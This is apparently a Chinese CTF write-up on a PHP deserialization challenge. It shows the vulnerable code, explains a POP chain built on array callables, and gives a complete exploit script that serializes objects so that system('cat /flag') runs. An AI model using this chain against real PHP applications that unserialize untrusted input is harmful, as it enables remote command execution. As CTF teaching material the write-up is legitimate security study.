前言
关键字:[面向对象|类|反序列化]
感谢@F10wers_13eiCheng
和@Dji0x1n
两位师傅的指点。
<?php
class a
{
public function __destruct()
{
$this->test->test();
}
}
abstract class b
{
private $b = 1;
abstract protected function eval();
public function test()
{
($this->b)();
}
}
class c extends b
{
private $call;
protected $value;
protected function eval()
{
if (is_array($this->value)) {
($this->call)($this->value);
} else {
die("you can't do this :(");
}
}
}
class d
{
public $value;
public function eval($call)
{
$call($this->value);
}
}
if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}
题解
按照一般思路构造POP链,十分简单。
a::__destruct() -> c::test() -> c::eval()
但问题来了,类c是继承于抽象类b,而继承而来的test()方法其中有个$this->b
,因为没有重写,所以指向是属性b,而且还是()()
的形式,得想办法绕过这个限制。
('phpinfo')(); //可以
('$this->eval')(); //不行。这个执行的是函数名为$this->eval的函数。而常规的$this用法可以理解为先到$this的命名空间去,然后找到eval这个函数并执行。
想了很久,什么招都用上了,整不来,幸好有@F10wers_13eiCheng和@Dji0x1n两位师傅指点了一下,才知道还有这一种特殊用法。
先来看第一个demo。
<?php
class b
{
public $a;
public function eval()
{
echo 'OK';
}
public function __destruct()
{
([$this, 'eval'])();
}
}
$c = new b();
//OUTPUT:OK
如代码所示,以[类,函数名]
这种形式准确的调用函数,再加上()
来进行函数执行。
再来看第二个。
<?php
class a
{
public $value;
public function __construct($cmd)
{
$this->value = $cmd;
}
public function eval($call)
{
$call($this->value);
}
}
class b
{
public $a;
public $call;
public $value;
public function __destruct()
{
$this->call = [new a('system'), 'eval'];
$this->value = [new a('echo 123'), 'eval'];
($this->call)($this->value);
}
}
$c = new b();
第二个稍微复杂了点,用xdebug调试下
在这下个断点
步入看看,实例化了一个类a,下同。
于是,call
和value
结果为数组,且数组的第一个元素是一个对象
然后来看看($this->call)($this->value)
是怎么执行的。
下个断点,步入
跳转到这
整理下思路,($this->call)($this->value);
先看一半,($this->call)()
=[类a(system),'eval']()
,按第一个demo的思想,就是找到类a并执行其eval函数,而后面的$this->value
是作为参数传进去的。原式=[类a(system),'eval']([类a(echo 123),'eval'])
①
这样就开始执行eval([类a,'eval'])
函数。
此时在eval()
函数中$call($this->value)
=([类a(echo 123),'eval'])(system)
②。
然后会发现,①和②,十分相似!于是它又套娃了一遍,又一次执行eval([类a,'eval'])
函数,函数变为system('echo 123')
这样,就达到了任意命令执行的目的了。
回到题目,顺着上面的思路,exp如下:
<?php
class a
{
public $test;
}
abstract class b
{
private $b;
public function __construct()
{
$this->b = [$this, 'eval'];
}
}
class c extends b
{
private $call;
protected $value;
public function __construct()
{
parent::__construct();
$this->call = [new d('system'), 'eval'];
$this->value = [new d('cat /flag'), 'eval'];
}
}
class d
{
public $value;
public function __construct($command)
{
$this->value = $command;
}
public function eval($call)
{
$call($this->value);
}
}
$a = new a();
$a->test = new c();
echo urlencode(base64_encode(serialize($a)));
因为也不需要字符串逃逸啥的修改序列化后的代码,所以直接urlencode方便点,省的手改了。
看了一下题目php版本是7.4.24>7.1,也可以直接改为public。